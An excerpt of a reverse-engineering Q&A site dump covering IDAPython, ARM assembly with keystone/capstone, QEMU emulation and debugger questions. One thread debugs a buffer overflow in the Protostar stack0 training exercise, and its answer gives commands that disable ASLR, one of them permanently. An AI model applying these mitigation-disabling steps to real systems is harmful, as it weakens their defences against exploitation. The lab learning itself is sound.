  <row Id="17798" PostTypeId="1" CreationDate="2018-03-25T13:56:37.640" Score="1" ViewCount="1235" Body="&lt;p&gt;I have a four byte global variable that is a pointer to some other data. How can I mark this to be an offset (like pressing &lt;code&gt;o&lt;/code&gt;) using IDAPython?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00436FF3      dd 43702Ch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ida_offset.op_offset_ex&lt;/code&gt; (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ref&lt;/a&gt;) seems close to what I want, but is intended for marking instruction operand types, not global variables.&lt;/p&gt;&#xA;" OwnerUserId="17194" LastActivityDate="2018-05-24T17:43:57.437" Title="How can I mark a global variable as an offset using IDAPython?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17799" PostTypeId="2" ParentId="17798" CreationDate="2018-03-25T16:03:29.590" Score="2" Body="&lt;p&gt;Following the advice of &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17798/how-can-i-mark-a-global-variable-as-an-offset-using-idapython?noredirect=1#comment28001_17798&quot;&gt;@ws&lt;/a&gt;, you can use operand number 0 with &lt;code&gt;ida_offset.op_offset(ea, n, type, target=BADADDR, base=0, tdelta=0)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ida_offset.op_offset(0x436FF3, 0, idc.REF_OFF32)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;code&gt;idc.OpOffset&lt;/code&gt; did not work consistently for me, while &lt;code&gt;ida_offset.op_offset&lt;/code&gt; did. So, you may want to prefer the later routine.&lt;/p&gt;&#xA;" OwnerUserId="17194" LastActivityDate="2018-03-25T16:03:29.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17801" PostTypeId="1" AcceptedAnswerId="17811" CreationDate="2018-03-25T19:27:20.973" Score="0" ViewCount="264" Body="&lt;p&gt;This table is part of the packet encryption of an old game for which I am developing a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crypto algorithm doesn't just xor the password with the message.&#xA;It uses a multiple of the ascii value of the letters in the password as an index for this table/array. With the retrieved value, it then does logical and operations which null out most, but not all values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of this is finally xor'ed with the corresponding letter in the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean the general idea seems nice for a software that was developed 10+ years ago and was mainly a kids game, but I wonder why someone invents such an algorithm an then puts so many zeroes in there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, that this table is in some way a part of a standard library function that was mistakenly used in this context?&#xA;Or are these just a bunch of random values to mess with someone who is trying to reverse engineer the encryption?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00&#xA;20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00&#xA;20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00&#xA;20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00&#xA;48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00&#xA;10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00&#xA;84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00&#xA;84 00 84 00 10 00 10 00 10 00 10 00 10 00 10 00&#xA;10 00 81 00 81 00 81 00 81 00 81 00 81 00 01 00&#xA;01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00&#xA;01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00&#xA;01 00 01 00 01 00 10 00 10 00 10 00 10 00 10 00&#xA;10 00 82 00 82 00 82 00 82 00 82 00 82 00 02 00&#xA;02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00&#xA;02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00&#xA;02 00 02 00 02 00 10 00 10 00 10 00 10 00 20 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23743" LastEditorUserId="2959" LastEditDate="2018-03-26T12:53:59.523" LastActivityDate="2018-03-26T12:53:59.523" Title="Does someone recognize this &quot;lookup table&quot;? (used for xor encryption)" Tags="|encryption|xor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17806" PostTypeId="2" ParentId="17786" CreationDate="2018-03-26T06:54:43.500" Score="4" Body="&lt;p&gt;the first one &lt;strong&gt;ldr r4, =0x44454433&lt;/strong&gt; is a valid pseudo instuction&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second one is invalid &lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw the syntax is not for a real instruction but an alias a pseudo instruction  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the assembler creates proper instruction with respect to immediate values  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;most of these questions can be answered by assembling a single instruction and &#xA;disassembling it&lt;br&gt;&#xA;you can use armasm from msvc &#xA;or you can use keystone with python or&lt;br&gt;&#xA;use the innumerable online assembler disassembler sites   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;from keystone import *&#xA;instruction = raw_input(&quot;Enter your arm instruction :  &quot;)&#xA;print instruction&#xA;&#xA;ks = Ks(KS_ARCH_ARM,KS_MODE_ARM|KS_MODE_THUMB)&#xA;blah = ks.asm(instruction)&#xA;for i in blah[0]:&#xA;    print &quot;%02x &quot; % i, &#xA;print &quot;\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed the script to get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python asmarm.py&#xA;Enter your arm instruction :  ldr r4,=0x44455533&#xA;ldr r4,=0x44455533&#xA;00  4c  00  bf  33  55  45  44&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on the other hand if you try assembling the second instruction it will raise an error unexpected token&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python asmarm.py&#xA;Enter your arm instruction :  ldr r4,=#0x44554533&#xA;ldr r4,=#0x44554533&#xA;Traceback (most recent call last):&#xA;  File &quot;asmarm.py&quot;, line 7, in &amp;lt;module&amp;gt;&#xA;    blah = ks.asm(instruction)&#xA;  File &quot;c:\python27\lib\site-packages\keystone\keystone.py&quot;, line 198, in asm&#xA;    raise KsError(errno, stat_count.value)&#xA;keystone.keystone.KsError: Unknown token in expression (KS_ERR_ASM_EXPR_TOKEN)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can use capstone to disassemble a hex byte sequence&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;from capstone import *&#xA;import binascii&#xA;inp = binascii.unhexlify( ''.join(sys.argv[1].split()))&#xA;cs = Cs(CS_ARCH_ARM , CS_MODE_THUMB)&#xA;cs.Detail = True&#xA;dis = cs.disasm( inp,  int(sys.argv[2],16))&#xA;for i in dis:&#xA;    print(&quot;0x%x:\t&quot; % i.address),&#xA;    print(binascii.hexlify(i.bytes)),&#xA;    print(&quot;\t%s\t%s&quot; %(i.mnemonic, i.op_str)) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executing the script &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;discap.py &quot;00  4c  00  bf  33  55  45  44&quot; 0x440000&#xA;0x440000:       004c    ldr     r4, [pc, #0]&#xA;0x440002:       00bf    nop&#xA;0x440004:       3355    strb    r3, [r6, r4]&#xA;0x440006:       4544    add     r5, r8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you use msvc route you need to open a vsdev cmdprompt with a proper architecxture and simple use armasm with an input file  as below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;set correct arch and host&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat bld.bat&#xA;pushd ..    &#xA;call &quot;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools\vsdevcmd.bat&quot; -arch=arm -host_arch=x86   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;src file contents &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat myasm.asm&#xA;    AREA .text, CODE, ARM&#xA;test PROC&#xA;    ldr r4,=0x44455533&#xA;    ENDP    &#xA;    END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;execute and open a msvc arm devprompt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;bld.bat&#xA;&#xA;C:\&amp;gt;pushd ..&#xA;&#xA;C:\&amp;gt;call &quot;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools\vsdevcmd.bat&quot; -arch=arm -host_arch=x86&#xA;**********************************************************************&#xA;** Visual Studio 2017 Developer Command Prompt v15.6.1&#xA;** Copyright (c) 2017 Microsoft Corporation&#xA;**********************************************************************&#xA;C:\&amp;gt;popd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assemble the input file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;armasm myasm.asm&#xA;Microsoft (R) ARM Macro Assembler Version 14.13.26128.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;disassemble the obj file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dumpbin /disasm myasm.obj&#xA;Microsoft (R) COFF/PE Dumper Version 14.13.26128.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file myasm.obj&#xA;&#xA;File Type: COFF OBJECT&#xA;&#xA;test:&#xA;  00000000: 4C00      ldr         r4,00000004&#xA;  00000002: 0000      movs        r0,r0&#xA;  00000004: 5533      strb        r3,[r6,r4]&#xA;  00000006: 4445      add         r5,r5,r8&#xA;&#xA;  Summary&#xA;&#xA;          60 .debug$S&#xA;           8 .text&#xA;&#xA;C:\&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-03-26T18:07:46.070" LastActivityDate="2018-03-26T18:07:46.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17807" PostTypeId="2" ParentId="17792" CreationDate="2018-03-26T07:17:12.683" Score="0" Body="&lt;p&gt;&lt;strong&gt;B #0x12&lt;/strong&gt; will normally yield &lt;strong&gt;07 e0&lt;/strong&gt;  in arm thumb mode &#xA;B #0x16 would yoeld 09 e0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you f7 e7 will translate to B #-14 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Enter your arm instruction :  b #-14&#xA;b #-14&#xA;f7  e7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i just wrote an answer on how to use either keystone in python or msvc to assemble single instruction and disassemble it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so please refe that answer &lt;strong&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17786/arm-ldr-diffrent-between-and&quot;&gt;HOW TO ASSSEMBLE SINGLE INSTRUCTIONS AND DISASSEMBLE IN ARM&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-03-26T07:17:12.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17810" PostTypeId="1" AcceptedAnswerId="17812" CreationDate="2018-03-26T12:06:55.670" Score="1" ViewCount="370" Body="&lt;p&gt;I am new to radare2. I am trying out radare2 with exercise from &lt;a href=&quot;https://exploit-exercises.com/protostar/stack0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protostar stack0&lt;/a&gt;&lt;br&gt;&#xA;I generate raw De Bruijn Patterns with below command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ragg2 -P 500 -r&#xA;AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the program in debug mode and execute it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d -A stack0&#xA;Process with PID 31611 started...&#xA;= attach 31611 31611&#xA;bin.baddr 0x08048000&#xA;Using 0x8048000&#xA;asm.bits 32&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Analyze function calls (aac)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;= attach 31611 31611&#xA;31611&#xA; -- Buy a mac&#xA;&#xA;[0xf7f72a20]&amp;gt; dc&#xA;AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsA&#xA;You have changed the modified variable&#xA;child stopped with signal 11&#xA;[+] SIGNAL 11 errno=0 addr=0x4141583d code=1 ret=0&#xA;&#xA;[0x080484d0]&amp;gt; dr&#xA;eax = 0x00000000&#xA;ebx = 0x5a414159&#xA;ecx = 0x41415841&#xA;edx = 0xf7f48870&#xA;esi = 0x00000001&#xA;edi = 0xf7f47000&#xA;esp = 0x4141583d&#xA;ebp = 0x41614141&#xA;eip = 0x080484d0&#xA;eflags = 0x00010282&#xA;oeax = 0xffffffff&#xA;&#xA;[0x080484d0]&amp;gt; wopO ebp&#xA;Need hex value with `0x' prefix e.g. 0x41414142&#xA;[0x080484d0]&amp;gt; wopO esp&#xA;Need hex value with `0x' prefix e.g. 0x41414142&#xA;[0x080484d0]&amp;gt; wopO eip&#xA;Need hex value with `0x' prefix e.g. 0x41414142&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the C code which I am working on &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  1 #include&amp;lt;stdio.h&amp;gt;&#xA;  2 #include&amp;lt;stdlib.h&amp;gt;&#xA;  3 #include&amp;lt;unistd.h&amp;gt;&#xA;  4&#xA;  5 int main(int argc, char **argv){&#xA;  6&#xA;  7     volatile int modified;&#xA;  8     char buffer[64];&#xA;  9&#xA; 10     modified = 0;&#xA; 11     scanf(&quot;%s&quot;,buffer);&#xA; 12&#xA; 13     if(modified !=0){&#xA; 14         printf(&quot;You have changed the modified variable\n&quot;);&#xA; 15     }else{&#xA; 16         printf(&quot;Try again\n&quot;);&#xA; 17     }&#xA; 18     return 0;&#xA; 19 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Q1)Any reason why eip is not overwritten with the De Bruijn Pattern?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2)Why do I get the message &lt;code&gt;Need hex value with '0x' prefix e.g. 0x41414142&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly let me know. &#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="23694" LastActivityDate="2018-03-26T12:59:03.943" Title="radare2- Unable to use wopO command" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17811" PostTypeId="2" ParentId="17801" CreationDate="2018-03-26T12:31:54.683" Score="2" Body="&lt;p&gt;The data appears to be a lookup table to support the functions in the C library header &lt;code&gt;&amp;lt;ctype.h&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the bit-field values being used here represent, for each character -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x01 =&amp;gt; Upper Case&#xA;0x02 =&amp;gt; Lower Case&#xA;0x04 =&amp;gt; Digit&#xA;0x08 =&amp;gt; Space&#xA;0x10 =&amp;gt; Punctuation&#xA;0x20 =&amp;gt; Control&#xA;0x40 =&amp;gt; Blank&#xA;0x80 =&amp;gt; Hex Digit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These values match those that (at least) the Microsoft C runtime library uses. You can see these defined in the MSVC &lt;code&gt;&amp;lt;ctype.h&amp;gt;&lt;/code&gt; header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other CRT's might use the same, similar (e.g. libc), or different values (e.g. glibc).&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2018-03-26T12:31:54.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17812" PostTypeId="2" ParentId="17810" CreationDate="2018-03-26T12:33:37.757" Score="0" Body="&lt;p&gt;Did you notice that you indeed changed the desired variable?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have changed the modified variable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyway, regarding the 2nd question, this is an intended behavior after &lt;a href=&quot;https://github.com/radare/radare2/pull/9538&quot; rel=&quot;nofollow noreferrer&quot;&gt;the following pull-request&lt;/a&gt; was merged to radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it is requires that you'll have &lt;code&gt;0x&lt;/code&gt; prefixed to the passed value, so you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wopO `dr ebp`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wopO `?v ebp`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The backticks are used to execute radare2 command so you basically use the result of the inner command and pass it to &lt;code&gt;wopO&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Regarding the first question, after some amount of chars (i.e long input) you'll get a Segfault, that's mean that your input cause a corruption and you indeed made a &quot;damage&quot; to eip. If you want to override &lt;code&gt;eip&lt;/code&gt; you should bypass the security mitigation -- ASLR:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable it temporarily, execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to enable it again, execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to change the value permanently, say if it is an exploitation-dedicated machine, add the following setting to &lt;code&gt;/etc/sysctl.conf&lt;/code&gt;, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;kernel.randomize_va_space = 0&quot; &amp;gt;&amp;gt; /etc/sysctl.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and run the &lt;code&gt;sysctl -p&lt;/code&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-03-26T12:59:03.943" LastActivityDate="2018-03-26T12:59:03.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17813" PostTypeId="1" CreationDate="2018-03-26T13:28:15.380" Score="1" ViewCount="161" Body="&lt;p&gt;I am using &lt;code&gt;qemu-arm&lt;/code&gt; to run a statically linked binary on an Ubuntu system. There is little to no chance of emulating the entire system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary reads &lt;code&gt;/proc/cmdline&lt;/code&gt; as it starts up, to check for a specific parameter concerning MTD partitions. Obviously, my &lt;code&gt;/proc/cmdline&lt;/code&gt; does not match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easy way to alter the contents of &lt;code&gt;/proc/cmdline&lt;/code&gt; for this emulated binary?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="18945" LastEditDate="2018-04-03T12:49:25.940" LastActivityDate="2018-04-03T12:49:25.940" Title="Alter /proc/cmdline for QEMU emulated process" Tags="|qemu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17814" PostTypeId="2" ParentId="17813" CreationDate="2018-03-26T16:18:44.270" Score="1" Body="&lt;p&gt;The typical way to do something like this is to write a small library that intercepts open/read and fakes out the data your program is looking for, and then arrange for that library to be loaded by passing in an &lt;code&gt;LD_PRELOAD&lt;/code&gt; environment variable (QEMU's &lt;code&gt;-E&lt;/code&gt; option).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty straightforward; you could adapt the instructions here on &lt;a href=&quot;http://www.devttys0.com/2012/03/emulating-nvram-in-qemu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;emulating NVRAM in QEMU&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2018-03-26T16:18:44.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17815" PostTypeId="1" AcceptedAnswerId="17828" CreationDate="2018-03-26T18:28:57.947" Score="1" ViewCount="2017" Body="&lt;p&gt;Some of my breakpoints perfectly survive multiple restarts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But many interesting parts of the code I am debugging have different locations in memory after a restart. It seems the reason is, that the code is loaded into a different memory segment, after a restart. And it further looks like the parts I am looking for are at least absolutely positioned to the memory block they are in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CLARIFICATION&lt;/strong&gt;:&#xA;I suspect that the code which stays in place during restarts is a statically linked library and the code which switches places is the main program itself.&#xA;Does this make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in x64dbg(or a similar debugger) to account for that and set memory breakpoints relatively to the block they are loaded into?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why do some Parts of the code always get loaded into the same block while others are randomly loaded into one memory segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&#xA;Is there furtheremore a method to somehow label constant ponters that are relatively positioned to the memory segment? It would be really helpful to directly recognize which constant im looking on instead of recalculating by hand which one in comparison to the last start it it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a screenshot for clarification:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZAnEM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAnEM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that the adresses stay the same on the lower two bytes, but differ on the higher 2 bytes according to the memory block they are loaded into.&lt;/p&gt;&#xA;" OwnerUserId="23743" LastEditorUserId="23743" LastEditDate="2018-03-27T10:35:40.133" LastActivityDate="2018-05-26T20:53:54.643" Title="Is it possible to set breakpoints relatively to the memory block in x64dbg or a similar debugger?" Tags="|memory|dynamic-analysis|breakpoint|x64dbg|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17816" PostTypeId="1" CreationDate="2018-03-26T21:22:20.253" Score="0" ViewCount="999" Body="&lt;p&gt;I load binary file to ida and choose arm cpu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see if ida choose on arm/arm Thumb2 / arm Thumb?  and how can I change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes translate is depend witch arm is it(arm/arm Thumb2 / arm Thumb) &lt;/p&gt;&#xA;" OwnerUserId="23594" LastEditorUserId="23594" LastEditDate="2018-03-26T21:35:29.437" LastActivityDate="2018-04-01T00:45:30.040" Title="How ida choose arm Thumb/Thumb2" Tags="|disassembly|assembly|binary-analysis|arm|thumb2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17818" PostTypeId="1" CreationDate="2018-03-26T23:29:27.313" Score="0" ViewCount="287" Body="&lt;p&gt;I'm trying to reverse a binary with IDA and it seems to be obfuscated, I have a variable: &quot;EnableTeleportEffect&quot; that I want to modify the values of later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When jumping from the strings window, this is what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00007FF7C386F488 aEnableteleport:                        ; DATA XREF: sub_7FF7C1766A90+1533↑o&#xA;.rdata:00007FF7C386F488                 text &quot;UTF-16LE&quot;, 'EnableTeleportEffect',0&#xA;.rdata:00007FF7C386F4B2                 align 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I jump to the xref, this is what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00007FF7C1767F97 loc_7FF7C1767F97:                       ; CODE XREF: sub_7FF7C1766A90+952↑j&#xA;.text:00007FF7C1767F97                 lea     rcx, dword_7FF7C4378B40&#xA;.text:00007FF7C1767F9E                 call    _Init_thread_header&#xA;.text:00007FF7C1767FA3                 cmp     cs:dword_7FF7C4378B40, 0FFFFFFFFh&#xA;.text:00007FF7C1767FAA                 jnz     loc_7FF7C17673E8&#xA;.text:00007FF7C1767FB0                 call    sub_7FF7C17D2AB0&#xA;.text:00007FF7C1767FB5                 mov     rbx, rax&#xA;.text:00007FF7C1767FB8                 call    sub_7FF7C17D2AB0&#xA;.text:00007FF7C1767FBD                 mov     r8d, 1&#xA;.text:00007FF7C1767FC3                 lea     rdx, aEnableteleport ; &quot;EnableTeleportEffect&quot;&#xA;.text:00007FF7C1767FCA                 lea     rcx, [rbp+arg_10]&#xA;.text:00007FF7C1767FCE                 call    sub_7FF7C1AE2B90&#xA;.text:00007FF7C1767FD3                 mov     rcx, rbx&#xA;.text:00007FF7C1767FD6                 mov     rdx, [rax]&#xA;.text:00007FF7C1767FD9                 call    sub_7FF7C152C1F0&#xA;.text:00007FF7C1767FDE                 lea     rcx, dword_7FF7C4378B40&#xA;.text:00007FF7C1767FE5                 mov     cs:qword_7FF7C4378B38, rax&#xA;.text:00007FF7C1767FEC                 call    _Init_thread_footer&#xA;.text:00007FF7C1767FF1                 jmp     loc_7FF7C17673E8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when I jump to that xref, i get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00007FF7C17673D9 loc_7FF7C17673D9:                       ; CODE XREF: sub_7FF7C1766A90+8A6↑j&#xA;.text:00007FF7C17673D9                 mov     eax, [r14]&#xA;.text:00007FF7C17673DC                 cmp     cs:dword_7FF7C4378B40, eax&#xA;.text:00007FF7C17673E2                 jg      loc_7FF7C1767F97&#xA;.text:00007FF7C17673E8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it keeps going for quite a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is code obfuscation right?&lt;/p&gt;&#xA;" OwnerUserId="23759" LastActivityDate="2018-03-27T05:22:03.847" Title="Is this obfuscation?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17819" PostTypeId="2" ParentId="17818" CreationDate="2018-03-27T05:22:03.847" Score="2" Body="&lt;p&gt;At first glance it does not look like code obfuscation, just like normal complexity. From the snippet I cannot tell you where the actual value is that you want to modify. Maybe the string is a key in a map, maybe it is just used for parsing and/or printing.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-03-27T05:22:03.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
